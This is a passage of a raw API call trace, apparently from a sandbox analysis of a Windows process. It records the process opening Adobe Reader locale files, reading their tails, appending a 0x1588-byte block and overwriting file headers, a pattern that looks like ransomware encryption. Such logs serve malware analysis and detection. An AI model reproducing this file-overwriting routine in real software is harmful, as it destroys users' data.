lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.034] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf8c00 [0037.035] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.036] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0037.036] WriteFile (in: hFile=0x12c, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0037.037] WriteFile (in: hFile=0x12c, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.037] CloseHandle (hObject=0x12c) returned 1 [0037.037] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Weblink.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\weblink.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0037.039] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.039] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x5600 [0037.039] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.039] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.039] ReleaseMutex (hMutex=0x128) returned 1 [0037.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0037.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.KOR", cchWideChar=11, lpMultiByteStr=0x1e6310c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.KOR", lpUsedDefaultChar=0x0) returned 11 [0037.039] ReadFile (in: hFile=0x12c, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.179] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4600 [0037.179] ReadFile (in: hFile=0x12c, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.508] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4600 [0037.508] WriteFile (in: hFile=0x12c, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.096] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.107] WriteFile (in: hFile=0x12c, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.110] CloseHandle (hObject=0x12c) returned 1 [0038.111] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\EScript.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\escript.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.124] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.124] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x9c00 [0038.124] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.124] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.125] ReleaseMutex (hMutex=0x128) returned 1 [0038.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NOR", cchWideChar=11, lpMultiByteStr=0x1e633ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.NOR", lpUsedDefaultChar=0x0) returned 11 [0038.130] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.139] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8c00 [0038.139] ReadFile (in: hFile=0x12c, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.384] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8c00 [0038.384] WriteFile (in: hFile=0x12c, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.395] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.395] WriteFile (in: hFile=0x12c, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.396] CloseHandle (hObject=0x12c) returned 1 [0038.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Search.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\search.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.396] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.399] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x5800 [0038.399] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.399] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.399] ReleaseMutex (hMutex=0x128) returned 1 [0038.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NOR", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.NOR", lpUsedDefaultChar=0x0) returned 10 [0038.409] ReadFile (in: hFile=0x12c, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.422] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4800 [0038.422] ReadFile (in: hFile=0x12c, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.425] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4800 [0038.425] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.426] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.426] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.426] CloseHandle (hObject=0x12c) returned 1 [0038.426] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Annots.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\annots.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.426] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.426] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x7b000 [0038.426] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.426] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.426] ReleaseMutex (hMutex=0x128) returned 1 [0038.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NLD", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.NLD", lpUsedDefaultChar=0x0) returned 10 [0038.426] ReadFile (in: hFile=0x12c, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.431] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7a000 [0038.431] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.435] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7a000 [0038.436] WriteFile (in: hFile=0x12c, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.436] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.436] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.436] CloseHandle (hObject=0x12c) returned 1 [0038.436] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\pddom.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\pddom.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.437] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.437] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2c00 [0038.437] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.437] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.437] ReleaseMutex (hMutex=0x128) returned 1 [0038.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NLD", cchWideChar=9, lpMultiByteStr=0x1e633ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.NLD", lpUsedDefaultChar=0x0) returned 9 [0038.437] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.445] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1c00 [0038.445] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.448] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1c00 [0038.448] WriteFile (in: hFile=0x12c, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.448] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.448] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.449] CloseHandle (hObject=0x12c) returned 1 [0038.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Spelling.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\spelling.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.449] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.449] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2a00 [0038.449] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.449] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.449] ReleaseMutex (hMutex=0x128) returned 1 [0038.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NLD", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.NLD", lpUsedDefaultChar=0x0) returned 12 [0038.449] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.454] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1a00 [0038.454] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.454] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1a00 [0038.454] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.454] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.454] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.454] CloseHandle (hObject=0x12c) returned 1 [0038.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DVA.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\dva.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.454] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.455] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4800 [0038.455] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.455] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.455] ReleaseMutex (hMutex=0x128) returned 1 [0038.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.POL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.POL", cchWideChar=7, lpMultiByteStr=0x1e6a9e4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.POL", lpUsedDefaultChar=0x0) returned 7 [0038.455] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.459] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3800 [0038.460] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.460] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3800 [0038.460] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.460] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.460] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.460] CloseHandle (hObject=0x12c) returned 1 [0038.460] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\reflow.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\reflow.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.460] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.460] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1200 [0038.461] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.461] WaitForSingleObject 